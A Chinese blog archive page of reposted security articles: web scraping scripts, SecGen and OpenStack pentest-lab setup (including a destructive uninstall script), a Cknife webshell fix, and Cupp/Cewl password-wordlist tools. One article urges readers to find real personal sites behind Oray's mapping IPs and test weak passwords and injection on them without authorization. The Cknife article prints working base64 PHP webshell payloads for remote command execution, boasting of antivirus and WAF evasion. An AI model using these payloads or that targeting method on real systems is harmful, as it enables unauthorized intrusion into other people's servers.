月度归档:2017年08月

基于selenium+phantomJS的动态网页抓取

源代码: https://github.com/shawnau/ustcsse_scraper

0. 准备工作

首先介绍下需要安装的组件:

  • selenium, 自动化测试工具, 本文会通过它操纵phantomJS, 使得爬虫能做出模仿普通用户的操作, 基于python的selenium指南请参考官方文档, 本文将会较重度地使用selenium.
  • phantomJS, 简单说这就是个可以静默运行的浏览器模拟器, 具体安装事项请看官方文档, 这篇文章并不会过多地使用它
  • beautifulsoup, 做过静态网页爬虫的朋友应该都很熟悉了. 同样, 这篇文章并不会过多地使用它, 因为需要爬的是动态网页, 只把它作为简单的html分析器使用
  • Firefox, 主要是使用FirePathHttpFox插件来分析网页, 关于xPath, 详见xPath教程, 本文并不要求掌握.

继续阅读

如何使用SecGen随机生成漏洞靶机?

对于渗透测试的新手而言,往往需要通过大量的靶机来练手例如 VulnHub、Metasploitable、DVWA等。但我们不难发现这些靶机有个弊端就是,所有的漏洞都是已知和静态的,这与实际场景也存在着较大的出入。那么,有没有一款可以用来随机创建漏洞虚拟机的工具呢?答案是有。在Github上我挖掘到了一个叫做SecGen的生成器,SecGen是一个允许用户随机来创建漏洞虚拟机的工具,该项目使用Vagrant,Puppet和Ruby来快速创建可以用于学习或托管CTF的随机漏洞虚拟机。本文,我将为大家介绍SecGen在Kali Linux上的安装方法,以及如何使用SecGen并生成漏洞虚拟机。此外,你也可以选择在树莓派上安装使用

步骤1:安装SecGen

在正式开始之前按照惯例,我们先使用apt-get update命令来更新下软件列表。接着我们使用git clone命令,从git存储库克隆该项目的副本。

git clone https://github.com/SecGen/SecGen

如何使用SecGen随机生成漏洞靶机?

依赖关系安装,我们在终端中执行以下命令。

sudo apt install ruby-dev zlib1g-dev liblzma-dev build-essential patch virtualbox ruby-bundler vagrant imagemagick libmagickwand-dev

如何使用SecGen随机生成漏洞靶机?

完成依赖项安装后,我们使用cd SecGen命令进入到SecGen目录,并执行以下命令:

bundle install

注意这里我并没有使用sudo权限来执行以上命令,使用普通权限运行bundle会更合适,在必要时系统可能会提示你需要输入密码。以root用户身份运行bundle,可能会导致系统出现问题和冲突。

如何使用SecGen随机生成漏洞靶机?

如果你出现上述提示,可以键入以下命令来查看Ruby的版本号。

ruby --version

根据你的Ruby版本,来完成所需步骤即可。

步骤2:创建你的第一个虚拟机

生成随机漏洞虚拟机,只需在终端中输入以下命令。

ruby secgen.rb run

但不幸的是执行以上命令后我却发现,Kali存储库的Vagrant版本存在问题,并且Ruby gems也有问题。因此如果你的机器同样出现了致命的错误,那么我建议你将你的Vagrant版本进行降级。你可以执行以下命令:

apt purge vagrant

然后,从Vagrant站点下载Debian软件包。使用dpkg -i命令来安装vagrant.deb文件。

dpkg -i vagrant1.9.7x86_64.deb

现在,我们返回到SecGen文件夹,再次执行以下命令。

ruby secgen.rb run

如果这里没有错误,我们将可以顺利进入到下个操作。如果依然显示报错信息,你可以执行以下命令来清除你的Ruby gems。

sudo gem cleanup

在完成以上两个步骤后,我们再次执行创建命令:

ruby secgen.rb run

创建过程可能需要等待一段时间,但并不会太漫长。

如何使用SecGen随机生成漏洞靶机?

不一会儿一个漏洞虚拟机就生成了,在虚拟机软件上我们可以查看到它的一些细节信息。

如何使用SecGen随机生成漏洞靶机?

网络连接模式设置

VirtualBox将机器组网模式默认为NAT。这个模式可以让虚拟机接入互联网,但主机将无法成功访问到它。

如何使用SecGen随机生成漏洞靶机?

因此,我们需要将NAT转变为允许我们访问虚拟机的网络模式。根据我们的需求我们可以选择host-only(仅主机模式)或bridged(桥接)。但桥接模式将会将漏洞虚拟机直接曝露在我们的内部网络,因此我决定选择使用仅主机模式。在VirtualBox中,选择machine后选择“设置”,“网络”将NAT更改为“仅主机适配器”即可。

如何使用SecGen随机生成漏洞靶机?

在完成以上设置后,我们就可以通过浏览器来打开该漏洞虚拟机了。我们通过ifconfig命令来查看它的网络设备情况。

sudo ifconfig

如果你的ifconfig命令有问题,你可以运行安装apt-get install net-tools

如何使用SecGen随机生成漏洞靶机?

从ifconfig的返回结果可以看到一个名为vboxnet0的适配器,并且地址空间为172.28.128.0/24。接下来,我们执行以下命令。

nmap 172.28.128.0/24 -sn

Nmap应该会为我们返回两个结果,你的主机和你的漏洞虚拟机。

如果你在渗透的过程中卡在了某一步,你可以在SecGen存储库文件夹中执行以下命令,查看该虚拟机的生成方案。

cd projects

此目录中包含之前生成的机器。我只有一台机器,因此我将目录更改为了该机器目录。在该目录中,有一个scenario.XML的文件。我们可以通过以下来命令查看它。‘

cat scenario.xml | less

或者,你也可以选择自己喜欢的文本编辑器,如Vim进行查看。

vim scenario.xml

这里我更喜欢使用Vim,因为它提供语法的高亮显示。

如何使用SecGen随机生成漏洞靶机?

如果你想得到一些提示信息,你可以通过以下命令获取到。

cat marker.xml | less

这将给你提示帮助你找出随机生成的机器。

步骤3:生成其他场景

关于如何编写自己的场景方案,不在本文的讨论方位内。但在SecGen GitHub的页面上已经有详细的记录说明,除了使用默认方案生成随机虚拟机之外,用户还可以使用一些其他的生成方案。示例如下:

ruby secgen.rb --scenario scenarios/examples/remotely_exploitable_user_vulnerability.xml run

这将创建一个具有随机远程可利用漏洞的虚拟机。

ruby secgen.rb --scenario scenarios/security_audit/team_project_scenario.xml run

这将会为我们创建一组漏洞机器,并模拟一个迷你企业架构。SecGen创建了一个内网服务器,一台台式机和一台Web服务器。之后通过简单配置,就可以模拟存在漏洞的企业内部网络了。这对于新手能力的提升无疑将带来巨大的帮助。

更多示例你可以在 ./SecGen/scenarios/examples目录下找到。

总结

通过本文对SecGen的介绍,我们可以看到SecGen的优势所在。对于渗透测试的新手而言,SecGen不失为一款优秀的练习工具。随着该工具的不断完善和成熟,我也希望越来越多的人能够加入到这个项目中来,创建更多的优秀场景并分享它们!

 *参考来源:null-byte,FB小编 secist 编译,转载请注明来自FreeBuf.COM

python批理下载图片,并改名脚本

根据上一个脚本改进而来,批量下载图片并自动改名。注:没有加try这种东西,而且没有用多进程。
将需要下载的文件名批量保存在一个文本中,每个一条即可。
python 1.py a.txt运行就可以了。

#!/usr/bin/python
# -*- coding: utf-8 -guan*-
import sys
import os
if __name__ == “__main__”:
args = sys.argv
if(len(args) == 2):
smFile = open(args[1]);
smList = smFile.readlines()
smFile.close()
length = range(len(smList))
for i in length:
sm = smList[i].strip(‘n’)
cmd=’wget -O %s.jpg http://xxx.com/mov/%s/cap.jpg’ %(sm,sm)
status=os.popen(cmd)
print cmd

python selenium phantomjs 使用cookie批量下载图片脚本

本人想下载一个网站的部分网页的全部截图,经过查找和试验,发现仅可以用phantomjs能实现截取整页的图片,其他工具仅是截当前页面的图片(也可能是我没测试到,见谅)。
还有一个就是关于cookie这个问题,也困扰我,最终是发现phantomjs必须是全集的cookie才有效。
driver.save_screenshot这个保存时候可能导致内存溢出,是一个bug。我只好用try来去掉它,因为我并不严格必须所有网页都有截图,大部分网页自动搞定即可。这部分还可以进一步改进的(谁需要自己搞定它吧。需要就用吧。转载注明一下出处谢谢emailtry.com。:)

#!/usr/bin/python
# -*- coding: utf-8 -guan*-
from selenium import webdriver
import sys
from time import sleep
if __name__ == “__main__”:
args = sys.argv
if(len(args) == 2):
smFile = open(args[1]);
smList = smFile.readlines()
smFile.close()
length = range(len(smList))
for i in length:
try:
driver = webdriver.PhantomJS(‘phantomjs’)
driver.add_cookie({u’domain’: u’.xxx.com’, u’name’: u’__utmz’, u’expires’: u’Wed, 28 Feb 2018 03:57:20 GMT’, u’value’: u’151725755.1490883638.70.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)’, u’expiry’: 1519790240, u’path’: u’/’, u’httponly’: False, u’secure’: False})
driver.add_cookie({u’domain’: u’.xxx.com’, u’name’: u’__utm’, u’expires’: u’Wed, 28 Feb 2018 03:57:20 GMT’, u’value’: u’151725755.413028496.1449848974.1491825303.1503932084.73′, u’expiry’: 1519790240, u’path’: u’/’, u’httponly’: False, u’secure’: False})

sm = smList[i].strip(‘n’)
driver.get(“http://xxx.com/movie.php?id=”+sm)
sleep(40)
print driver.current_url
driver.save_screenshot(sm+”.png”)
driver.quit()
except:
pass

花生壳黑吃黑之一:Web练手基地

作为我这样的新手,看网上的渗透社工教程,看的我热血沸腾,但是我怎么找那种脆弱网站练手啊,现在网站一个比一个保护强,什么弱口令,什么注入到哪里去找啊?菜鸟们是否有同感啊。

今天给大家带来练手的真实环境,没有看门狗,并且漏洞很多,并且可能有意外收获啊。

好了不卖官司了,进入我们今天的主角,花生壳,有人说花生不就是一个映射吗?何我们web练手基地有什么关系?

现在我简单的讲解一下内网穿透原理:

内网就是局域网,网吧,校园网,单位办公网都属于此类。

内网接入方式:上网的计算机得到的ip地址是Inetnet上的保留地址,

保留地址有如下3种形式:

10.x.x.x 
10.x.x.x
172.16.x.x至172.31.x.x
192.168.x.x

内网的计算机以NAT(网络地址转换)协议,通过一个公共的网关访问Internet。内网的计算机可向Internet上的其他计算机发送连接请求,但Internet上其他的计算机无法向内网的计算机发送连接请求。

外网接入方式:上网的计算机得到的IP地址是Inetnet上的非保留地址。 公网的计算机和Internet上的其他计算机可随意互相访问。

反正说的简单就是:如果你的电脑是公网,那么你ipconfig后的ip和你访问ip.cn上面提示的ip一致。

花生壳黑吃黑之一:Web练手基地

如果不一致,那么你肯定是内网,现在就有一个问题,内网可以访问外网,但是外网不能访问内网,

如果要让外网可以访问内网,那么就需要做一个内网映射。但是如果你在网吧,或者合租屋里面,你是没有机会接触到路由器的,

花生壳黑吃黑之一:Web练手基地

此时一个神器就应运而生了,就是传说中的花生壳,我实现了内网自动映射,不需要路由配置,那么它是怎么做到的?

花生壳黑吃黑之一:Web练手基地

它在外网放置一台服务器,接着开发出一个客户端安装在我们内网机器上(内网服务器),它的客户端会连接外网的服务器进行数据中转,花生壳只需要给域名解析到外网的服务器就可以了,这样就实现了内网映射。

好了现在开始进入今天的主题

花生壳黑吃黑之一:Web练手基地

大家对这个界面很熟悉吧,就是帮助我们内网机器映射到外网的,你想一下,哪些人喜欢用这种映射啊,肯定是什么黄色电影啊 个人测试网站啊 黑色交易啊 木马什么的啊

但是今天我们主要正对的个人网站,至于什么黄色电影啊 什么的 自己找啊

用花生壳免费送的域名ping一下得到大家都映射的公共ip,这里给大家讲一下原理,为什么内网可以做服务器啊,道理很简单,就是大家同时连接一个公网ip,这个公网ip进行数据包转发

我们得到这个公网ip啊,现在开始进行IP反查域名,我找到一个可以查询的网站http://dns.aizhan.com

花生壳黑吃黑之一:Web练手基地

看看效果还不错吧,259个网站,

花生壳黑吃黑之一:Web练手基地

看看,这个网站还不错啊,已经帮我们测试了,哪个网站可以连接的通,哪个网站连接失败,

那么我们可以给连接成功的导出来,再测试弱口令或者注入的,我简单的测试了一下效果还不错啊

花生壳黑吃黑之一:Web练手基地

好了,注意大家别玩大了啊。

*本文作者:刀郎,转载请注明来自 FreeBuf.COM

OpenStack:建立虚拟的渗透测试实验环境 – 安装篇

*本文原创作者:zrools,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×00 概述

对从业渗透测试的人员来说,保持技能更新是非常重要的,而更新技能的过程中,需要大量的去学习、实践和总结,比较传统的学习方式是通过虚拟机安装靶机来练习,这种方式往往缺少一种真实渗透中的网络环境,而拿真实的网络来搞事往往会面临很对未知的风险,比如被查水表什么的。在工作中,有时候测试一个内网转发脚本、恶意程序或避免影响业务需要一个沙箱环境,目前比较常见的是使用GNS3(网络设备模拟器)+虚拟机来模拟网络环境,随着云计算技术的兴起,无疑给建立虚拟环境多了一种选择,通过虚拟技术,可以建立更加复杂的测试环境,甚至仿真一个企业网络以便测试各种攻击场景。

0×01 环境准备

1.1 OpenStack

OpenStack是一个快源的云计算管理平台项目,由组件组合完成具体工作,详细介绍见OpenStack官网。OpenStack的部署方式分为手动部署和自动化部署,自动化部署工具主要有packstackdevstackFuel等,这里使用packstack在单机+单网卡的环境进行一键部署。

1.2 服务器环境

  • 磁盘容量: >= 500GB
  • 内存容量: >= 32GB
  • 操作系统: CentOS-7-x86_64-Minimal-1611
  • 网卡数量: 1

1.3 网络配置

系统安装完后,先给服务器配置一个静态IP:

# vi /etc/sysconfig/network-scripts/ifcfg-em1

BOOTPROTO=static
ONBOOT=yes
IPADDR=192.168.20.7
GATEWAY=192.168.20.254
NETMASK=255.255.255.0
NDS1=8.8.8.8

这里我使用192.168.20.7作为服务器IP,保存重启网络:

# systemctl restart network.service

1.4 部署OpenStack

通过yum源进行安装packstack

# yum -y install centos-release-openstack-mitaka epel-release

# yum -y install openstack-packstack

使用packstack部署OpenStack:

# packstack --allinone

安装时间大概15~30分钟左右。

1.5 桥接网卡

使用packstack安装后,如果重启系统,虚拟网络会无法连接外部网络,这时需要创建一个虚拟网卡:

# vi /etc/sysconfig/network-scripts/ifcfg-br-ex

DEVICE=br-ex
DEVICETYPE=ovs
TYPE=OVSBridge
BOOTPROTO=static
IPADDR=192.168.20.7
NETMASK=255.255.255.0
GATEWAY=192.168.20.254
DNS1=8.8.8.8
ONBOOT=yes

默认安装缺省IP段是172.24.4.225/28,这里修改为192.168.20.7/24,保存,同时修改em1网卡配置为:

DEVICE=em1
TYPE=OVSPort
DEVICETYPE=ovs
OVS_BRIDGE=br-ex
ONBOOT=yes

保存,重启网络服务,不成功直接重启服务器。

0×02 实例与映像

OpenStack默认使用VirtIO来管理实例映像,默认直接上传ISO文件会识别不了磁盘,这时需要使用含VirtIO驱动的映像,镜像说明文档见:

https://docs.openstack.org/image-guide/obtain-images.html

这里统一制作qcow2格式的映像文件。

2.1 Linux qcow2映像

  • 手动制作

以制作Kali Linux为例,下载ISO文件kali-linux-light-2017.1-amd64.iso:

# qemu-img create -f qcow2 kali-linux-light-2017.1-amd64.qcow2 10G

# kvm -smp 1 -m 512 -cdrom kali-linux-light-2017.1-amd64.iso /
-drive if=virtio,file=kali-linux-light-2017.1-amd64.qcow2 /
-net nic,model=virtio -net user

然后就像正常一样安装系统,安装完直接关掉。

  • 官方的映像文件

有些Linux发行版官方提供现成映像文件,下载过来就可以直接使用:

# CentOS 7

http://cloud.centos.org/centos/7/images/CentOS-7-x86_64-GenericCloud.qcow2

# Debian 9

http://cdimage.debian.org/cdimage/openstack/current-9/debian-9-openstack-arm64.qcow2

由于官方的云镜像是没有提供密码的,这时需要修改root密码,password:冒号后边为密码:

# virt-customize -a CentOS-7-x86_64-GenericCloud.qcow2 --root-password password:toor

2.2 Windows qcow2映像

以Windows 2008 R2为例子,其他Win系统制作过程类似,由于Windows系统默认不带VirtIO驱动,先下载驱动程序:

生成映像文件:

# qemu-img create -f qcow2 Windows_2008_R2_x64.qcow2 20G
  • 安装系统

命令行启动安装:

# kvm -m 2048 -cdrom cn_windows_server_2008_r2_standard_enterprise_datacenter_and_web_with_sp1_x64_dvd_617598.iso /
-drive file=Windows_2008_R2_x64.qcow2,if=virtio,boot=on -fda virtio-win-0.1.140_amd64.vfd -boot d

手动加载驱动:【自定义(高级)】-【加载驱动程序】-【浏览】-【软盘驱动器】,选择对应操作系统版本选项,然后确定:

OpenStack:建立虚拟的渗透测试实验环境 – 安装篇

安装完后关机。

  • 安装网卡驱动

重新命令启动虚拟机:

# kvm -m 1024 -drive file=Windows_2008_R2_x64.qcow2,if=virtio,boot=on -cdrom virtio-win-0.1.140.iso /
-net nic,model=virtio -net user -boot c

找到【设备管理器】-【其他设备】-【以太网控制器】,右键更新驱动程序软件:

OpenStack:建立虚拟的渗透测试实验环境 – 安装篇

【浏览】-【CD驱动器】,确定:

OpenStack:建立虚拟的渗透测试实验环境 – 安装篇

安装完毕:

OpenStack:建立虚拟的渗透测试实验环境 – 安装篇

注:不能关闭的情况下直接kill掉进程。

0×03 Horizon

Horizon是一个用于管理、控制OpenStack服务的Web控制面板,可以通过http://192.168.20.7/dashboard/进行登录,管理帐号是admin密码保存在/root/keystonerc_admin

3.1 上传映像

http://192.168.20.7/dashboard/登录后,【项目】-【计算】-【映像】-【创建映像】:

OpenStack:建立虚拟的渗透测试实验环境 – 安装篇

Horizon控制面板添加映像支持2种方式,一种是通过HTTP/HTTPS直接下载,另一种是通过本地上传,在【映像源】选【映像文件】,将制作好的虚拟机上传到OpenStack:

OpenStack:建立虚拟的渗透测试实验环境 – 安装篇

3.2 创建实例

在【映像】列表的Windows_2008_R2_x64后面点击【启动】,其中【详细信息】、【源】、【flavor】、【网络】这四项为必选项:

OpenStack:建立虚拟的渗透测试实验环境 – 安装篇

创建完实例,在【实例】点击实例名称进入该实例的详细信息页面,切换到【控制台】即可对虚拟机进行操作:

OpenStack:建立虚拟的渗透测试实验环境 – 安装篇

3.3 开机恢复实例状态

默认情况下,如果重启OpenStack的机器,实例是不会自动恢复之前的状态的,这时需要修改一下配置文件:

# vi /etc/nova/nova.conf

# 去掉注释,将false改成true
resume_guests_state_on_host_boot=true

0×04 卸载

配置的过程中难免有时出错需要重新再来,保存以下脚本为unpackstack.sh

#!/bin/bash

# Warning! Dangerous step! Destroys VMs
for x in $(virsh list --all | grep instance- | awk '{print $2}') ; do
    virsh destroy $x ;
    virsh undefine $x ;
done ;

# Warning! Dangerous step! Removes lots of packages
yum remove -y nrpe "*nagios*" puppet "*ntp*" "*openstack*" /
"*nova*" "*keystone*" "*glance*" "*cinder*" "*swift*" /
mysql mysql-server httpd "*memcache*" scsi-target-utils /
iscsi-initiator-utils perl-DBI perl-DBD-MySQL ;

# Warning! Dangerous step! Deletes local application data
rm -rf /etc/nagios /etc/yum.repos.d/packstack_* /root/.my.cnf /
/var/lib/mysql/ /var/lib/glance /var/lib/nova /etc/nova /etc/swift /
/srv/node/device*/* /var/lib/cinder/ /etc/rsync.d/frag* /
/var/cache/swift /var/log/keystone /var/log/cinder/ /var/log/nova/ /
/var/log/httpd /var/log/glance/ /var/log/nagios/ /var/log/quantum/ ;

umount /srv/node/device* ;
killall -9 dnsmasq tgtd httpd ;

vgremove -f cinder-volumes ;
losetup -a | sed -e 's/:.*//g' | xargs losetup -d ;
find /etc/pki/tls -name "ssl_ps*" | xargs rm -rf ;
for x in $(df | grep "/lib/" | sed -e 's/.* //g') ; do
    umount $x ;
done

卸载操作:

# sh unpackstack.sh

卸载后就可以使用packstack重新部署,需要注意的是,该脚本并不是100%的清除,只是删除基本的文件,比如安装时加入的iptables规则是不会清除的,有强迫症的建议重装系统或在虚拟机里部署。

至此,部署OpenStack和制作映像文件基本完成了。

0×05 参考

*本文原创作者:zrools,本文属FreeBuf原创奖励计划,未经许可禁止转载

Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

在现在满大街菜刀都存在后门问题的时候,Cknife横空出世了。因为开源,所以安全。因为可操作的空间挺大的,也十分适合过各种WAF。下面就是解决两个常见问题的过程。希望可以帮到各位白帽子。

工具推荐:Cknife,跨平台版中国菜刀正式开源 

但是使用过程中也遇到了一些小问题,被吐槽最多的就是中文乱码以及部分Windows环境shell无法回显。下面我来分析过程,解决问题:首先是shell回显问题,shell在部分windows环境中是不能执行cmd的

Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

哇,气死人了。

昨晚写出来了配套的过狗过D盾过360一句话木马,也把Cknife的数据做了加密。

然而,这东西根本无法好好使用啊!

测试一句话(服务端):

于是给Cknife,连接shell,打开burp抓包

这是执行”whoami”时候的请求,没有返回的报文。 

POST /test.php HTTP/1.1
User-Agent: Java/1.8.0_121
Host: localhost
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 598
Connection: close
a=QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw== &action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2bfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d&z1=Y21k&z2=Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0%3d

本地模拟了服务端处理客户端请求的场景

<?php
//客户端发送请求
$_POST['a'] = 'QGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbYWN0aW9uXSkpOw==';
$_POST['z1']='Y21k';
$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0=';
$_POST['action']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw==';
//服务端
eval(base64_decode($_POST['a']).';');

Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

然后Base64解码

<?php
$_POST['z1']='Y21k';
$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';
eval('
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c /"{$s}/"":"/c /"{$s}/"";$r="{$p} {$c}";
system($r." 2>&1",$ret);
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");die();
');

这就通过短短一句话木马来做事情的秘密了。

特么的!最坑的地方知道是什么吗!我找了一晚上!

看似很正常对吧?

$p = ‘cmd’;

$c= ‘whoami’; (举例)

$r="{$p} {$c}";

然后system($r);

一切都很完美吧?

那你就错了,因为

Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

呵呵,所以shell环境是Windows的时候有可能发生这种低级问题,

你!根!本!执!行!不!了!命!令!

解决起来也很简单

明文修改部分就行了!

<?php
$_POST['z1']='Y21k';
$_POST['z2']='Y2QvZCJEOlxwaHBTdHVkeVxXV1dcIiZkaXImZWNobyBbU10mY2QmZWNobyBbRV0=';
eval('
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c /"{$s}/"":"/c /"{$s}/"";
$r="{$s}";
system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
":"";;echo("|<-");die();
');

实际操作只需要

打开c刀的Config.ini文件,查找  “php_shell=”

Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

修改成

PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKSk7CiRzPShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSkpOwokZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiRjPXN1YnN0cigkZCwwLDEpPT0iLyI/Ii1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOwokYz0kczsKJHI9InskY30iOwpzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCAoJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2VjaG8oInw8LSIpO2RpZSgpOw%3d%3d

就行了,然后重新打开一次C刀。大功告成。 

Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

这只是第一部分,回显中有中文依旧会乱码,于是就有了后半部分文章

中文乱码解决

Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

抓包,得到数据,可以看到,本地模拟的情况下。system函数执行的回显是乱码的。

后来经过测试,是编码的问题 ,把编码修改成utf-8即可显示中文啦~

下面是具体操作

并且需要把system函数修改成exec函数,用来把回显赋值给变量

Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

修改部分

exec($r." 2>&1",$retn,$retn2);
foreach($retn as $res) {
    $res = iconv("GBK", "UTF-8", $res);
    echo $res;
    echo "/n";
};

即可正常显示中文

修改cknife目录下的config文件中的php_shell为

修改部分
PHP_SHELL=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmVjaG8oIi0%2bfCIpOzsKJHA9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokcz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTsKJGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7CiRyPSJ7JHN9IjsKZXhlYygkci4iIDI%2bJjEiLCRyZXRuLCRyZXRuMik7CmZvcmVhY2goJHJldG4gYXMgJHJlcykgewogICAgJHJlcyA9IGljb252KCJHQksiLCAiVVRGLTgiLCAkcmVzKTsKICAgIGVjaG8gJHJlczsKICAgIGVjaG8gIlxuIjsKfTsKZWNobyAkcmV0bjI7CnByaW50ICgkcmV0bjIhPTApPyJyZXRuMj17JHJldG4yfSI6IiI7OwplY2hvKCJ8PC0iKTsKZGllKCk7

即可正常回显中文啦~

Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码 

*本文作者:Lz1y,转载请注明FreeBuf.COM

Kali Linux下社工密码字典生成工具Cupp和Cewl教程

Cupp是一款用Python语言写成的可交互性的字典生成脚本。尤其适合社会工程学,当你收集到目标的具体信息后,你就可以通过这个工具来智能化生成关于目标的字典。当对目标进行渗透测试的时候,常见密码爆破不成功,大批量的字典耗时太长时,就需要一份结合具体目标的带社工性质的字典,可以很大提升爆破效率,这时候就可以利用Cupp打造一份。本文基于kali2.0进行演示,我的kali系统是利用清华源更新过的最新系统,但没有Cupp。所以先安装。  

安装:apt-get install cupp

Kali Linux下社工密码字典生成工具Cupp和Cewl教程

Kali Linux下社工密码字典生成工具Cupp和Cewl教程

查看命令:cupp

Kali Linux下社工密码字典生成工具Cupp和Cewl教程

参数说明 

-v   查看cupp版本号

-h   查看参数列表

-l    从github仓库下载字典

-i    使用交互式的提问创建用户密码字典,cupp的主要功能,本文主要演示此参数

-w   在已存在的字典上进行扩展


以freebuf为例生成字典

执行cupp -i

Kali Linux下社工密码字典生成工具Cupp和Cewl教程

然后和工具开始交互,会让你输入被攻击目标的姓、名、外号、生日、父母的名字、外号、生日、子女的名字、外号、生日等等一系列的信息。如果你有这些信息,直接输入,如果没有直接回车进行下一步。

Kali Linux下社工密码字典生成工具Cupp和Cewl教程

然后是宠物、公司等名称,需要不需要加关键字当前缀后缀等等,如果不知道或者不想加,直接回车跳过。

最后在命令执行的目录里生成字典文件。

注意:输入生日信息的时候是按照日、月、年的顺序,如11021990就是1990年2月11

最后查看生成的字典文件

Kali Linux下社工密码字典生成工具Cupp和Cewl教程

cewl教程:

cewl是通过爬取网站的时候,根据爬取内容的关键字生成一份字典,通过这种方式生成的字典可以作为cupp生成字典的补充。如果常见的字典都爆破了还没拿下目标,那你只能挂个十几G几十G的字典去跑了,具体是跑到几百年或者几千年以后,这个要看人品哈!哈哈@!

cewl是kali自带的脚本工具,我崇尚日常使用都使用自带的工具,即使虚拟机坏了,再找一个虚拟机立马就能干活而不需要配置环境。

 接下来看图:输入cewl –help会在屏幕打印如下,下面我给大家翻译一下,译文用Python的注释方式

cewl [OPTION] ... URL

--help, -h: show help                                                           #显示帮助

    --keep, -k: keep the downloaded file                                  #保存下载的文件

    --depth x, -d x: depth to spider to, default 2                       #网站爬取深度,默认为2,建议不要太大

    --min_word_length, -m: minimum word length, default 3   #字典的最小单词长度,如果小于此不收入字典

    --offsite, -o: let the spider visit other sites                          #让爬虫爬取其他站点,针对外链的

    --write, -w file: write the output to the file                           #爬取的内容输出到文件

    --ua, -u user-agent: user agent to send                             #使用useragent,这个可以突破简单防御

    --no-words, -n: don't output the wordlist                            #不要输出字典

    --meta, -a include meta data                                             #包含网页中的meta数据

    --meta_file file: output file for meta data                           #为meta数据输出个文件

    --email, -e include email addresses                                 #包含email地址

    --email_file file: output file for email addresses                #输出email地址

    --meta-temp-dir directory: the temporary directory used by exiftool when parsing files, default /tmp

